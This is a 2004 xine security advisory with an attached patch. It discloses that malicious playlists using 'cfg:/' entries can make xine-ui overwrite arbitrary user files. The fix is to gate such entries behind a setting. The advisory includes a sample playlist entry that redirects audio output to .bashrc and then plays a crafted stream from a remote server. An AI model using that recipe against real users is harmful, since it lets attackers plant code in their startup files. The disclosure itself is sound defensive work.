xine security announcement XSA-2004-2

--Boundary-03=_jQofAEDAoW02VPJ
Content-Type: multipart/mixed;
  boundary="Boundary-01=_bQofArnnY3qYJmX"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

--Boundary-01=_bQofArnnY3qYJmX
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

xine security announcement
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D

Announcement-ID: XSA-2004-2

Summary:
By opening a malicious playlist in the xine-ui media player, an attacker ca=
n=20
write arbitrary content to an arbitrary file, only restricted by the=20
permissions of the user running xine-ui.

Description:
xine-ui offers the feature of embedding special items in playlists that wil=
l=20
apply changes to xine configuration options once the playlist item is playe=
d.=20
But some of xine's configuration options specify files that will be written=
=20
to during playback. One example of such an option is=20
"audio.sun_audio_device", which specifies the audio device on SUN machines.=
=20
The decoded PCM samples of the audio stream will be written to this file. B=
y=20
having a user open a playlist with an entry=20
"cfg:/audio.sun_audio_device:.bashrc" followed by an entry=20
"http://myserver/mybashrc" in xine-ui, the value of the=20
"audio.sun_audio_device" option will be changed and the next entry will pla=
y=20
a specially crafted audio stream. This way an attacker could fill any file=
=20
the user has access to with arbitrary content. Other configuration options=
=20
that allow such an attack exist (we also found "dxr3.devicename"), so the=20
vulnerability is not limited to SUN machines.

Severity:
Expoits have not been seen in the public and not all xine setups use the=20
vulnerable configuration options. But at least xine users on SUN machines a=
nd=20
users of a DXR3 or Hollywood+ MPEG decoder card are vulnerable. Other such=
=20
problematic configuration options might have slipped through the review or=
=20
might be provided by xine plugins outside the main xine distribution, leavi=
ng=20
other users vulnerable as well. Given the wide range of possible harm, we=20
consider this problem to be highly critical.

Affected versions:
All releases starting with 0.9.21 up to and including 0.9.23.

Unaffected versions:
All releases older than 0.9.21.
CVS HEAD has been fixed.
The upcoming 0.99.1 release.

Solution:
Changes to xine configuration options via playlist are now disabled by=20
default.
The attached patch to xine-ui fixes the problem but should only be used by=
=20
distributors who do not want to upgrade. Otherwise, we strongly advise=20
everyone to upgrade to CVS HEAD or to the next version of xine-ui, which is=
=20
to be released soon.

=46or further information and in case of questions, please contact the xine=
=20
team. Our website is http://xinehq.de/

Michael Roitzsch

--Boundary-01=_bQofArnnY3qYJmX
Content-Type: text/x-diff;
  charset="us-ascii";
  name="xine-ui-implicit-config.patch"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="xine-ui-implicit-config.patch"

=2D-- src/xitk/config_wrapper.c	2004/01/25 03:19:14	1.16
+++ src/xitk/config_wrapper.c	2004/03/16 21:13:27	1.17
@@ -140,9 +140,18 @@
  * Handle 'cfg:/' mrl style
  */
 void config_mrl(char *mrl) {
+  xine_cfg_entry_t entry;
   char *key;
   char *config;
   char *_mrl;
+ =20
+  if (!xine_config_lookup_entry(gGui->xine, "misc.implicit_config", &entry=
) ||
+      entry.type !=3D XINE_CONFIG_TYPE_BOOL || !entry.num_value) {
+    xine_info(_("You tried to change the configuration with a cfg: MRL.\n"
+		"This is not allowed unless you enable the 'misc.implicit_config' settin=
g "
+		"after reading and understanding its help text."));
+    return;
+  }
=20
   xine_strdupa(_mrl, mrl);
   config =3D strchr(_mrl, '/');
@@ -157,7 +166,6 @@
       *str_value++ =3D '\0';
=20
     if(str_value && strlen(str_value)) {
=2D      xine_cfg_entry_t entry;
      =20
       if(xine_config_lookup_entry(gGui->xine, key, &entry)) {
=20
=2D-- src/fb/config_wrapper.c	2003/11/08 10:19:48	1.2
+++ src/fb/config_wrapper.c	2004/03/18 14:40:44	1.4
@@ -136,10 +136,19 @@
  * Handle 'cfg:/' mrl style
  */
 void config_mrl(const char *mrl) {
+  xine_cfg_entry_t entry;
   char *key;
   char *config;
   char *_mrl;
=20
+  if (!xine_config_lookup_entry(fbxine.xine, "misc.implicit_config", &entr=
y) ||
+      entry.type !=3D XINE_CONFIG_TYPE_BOOL || !entry.num_value) {
+    fprintf(stderr, "You tried to change the configuration with a cfg: MRL=
=2E\n"
+	    "This is not allowed unless you enable the 'misc.implicit_config' set=
ting "
+	    "after reading and understanding its help text.");
+    return;
+  }
+
   xine_strdupa(_mrl, mrl);
   config =3D strchr(_mrl, '/');
  =20
@@ -153,7 +162,6 @@
       *str_value++ =3D '\0';
=20
     if(str_value && strlen(str_value)) {
=2D      xine_cfg_entry_t entry;
      =20
       if(xine_config_lookup_entry(fbxine.xine, key, &entry)) {
=20

--Boundary-01=_bQofArnnY3qYJmX--

--Boundary-03=_jQofAEDAoW02VPJ
Content-Type: application/pgp-signature
Content-Description: signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (GNU/Linux)

iD8DBQBAfoQjjhx3hMVnyYsRAoeqAJ9T/rCkXm+Z2xGTeE/v5urwAfZJkgCeP7nZ
obHldHxZ+S0mXPWu2b+7alI=
=LKD1
-----END PGP SIGNATURE-----

--Boundary-03=_jQofAEDAoW02VPJ--



-------------------------------------------------------
This SF.Net email is sponsored by: IBM Linux Tutorials
Free Linux tutorial presented by Daniel Robbins, President and CEO of
GenToo technologies. Learn everything from fundamentals to system
administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click